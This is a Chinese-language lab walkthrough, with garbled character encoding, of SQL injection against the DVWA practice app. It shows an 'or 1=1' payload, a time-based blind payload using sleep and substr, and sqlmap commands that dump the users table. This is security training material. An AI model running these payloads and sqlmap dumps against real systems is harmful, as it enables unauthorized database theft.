1.非盲注(頁(yè)面顯示查詢(xún)結(jié)果):
通過(guò)burpsuite抓包,獲取到post形式請(qǐng)求的id參數(shù)有漏洞,并直接用“or 1=1”獲取到全部的用戶(hù)名信息:

手工獲取全部用戶(hù)名
2.盲注:
利用sleep(5)函數(shù),substr()函數(shù),ascii()函數(shù)等判斷:如下:
Payload: id =2 and if(ascii(substr(database(),1,1))=100, sleep(5), null),當(dāng)database()返回的當(dāng)前數(shù)據(jù)庫(kù)名第一個(gè)字符的ascii值是100,即為’d’時(shí),那么執(zhí)行sleep(5)暫停5秒 才返回。觀(guān)察請(qǐng)求返回時(shí)間,判斷是否第一個(gè)字符為’d’。如下:

盲注
箭頭所指的地方是response,在響應(yīng),說(shuō)明第一個(gè)字符是’d’。后續(xù)利用同樣的方法判斷,得到’dvwa’數(shù)據(jù)庫(kù)名。
3.用sqlmap測(cè)試:
(1)先將發(fā)送的請(qǐng)求頭(這里以盲注請(qǐng)求頭為例)保存為一個(gè)request.txt文件,并放置在sqlmap目錄下

image.png
(2)在cmd下輸入:
python sqlmap.py -r request.txt -p id, 得到輸出:

image.png
由上面可看出,sqlmap已經(jīng)將后臺(tái)的數(shù)據(jù)庫(kù),服務(wù)器及漏洞參數(shù)信息測(cè)試出來(lái)。
(3)然后輸入:
python sqlmap.py -r request.txt -p id --dbms mysql --current-db
image.png
(4)然后列出當(dāng)前數(shù)據(jù)庫(kù)中的表:
Python sqlmap.py -r request.txt -p id --dbms mysql -D dvwa --tables,得到如下圖所示的表:
image.png
(5)然后列出響應(yīng)表的字段內(nèi)容:
python sqlmap.py -r request.txt -p id --dbms=mysql -D dvwa -T users --dump
image.png
可看到已經(jīng)將users表中的數(shù)據(jù)打印并保存到C盤(pán)目錄下一個(gè)csv文件里,找到打開(kāi):

image.png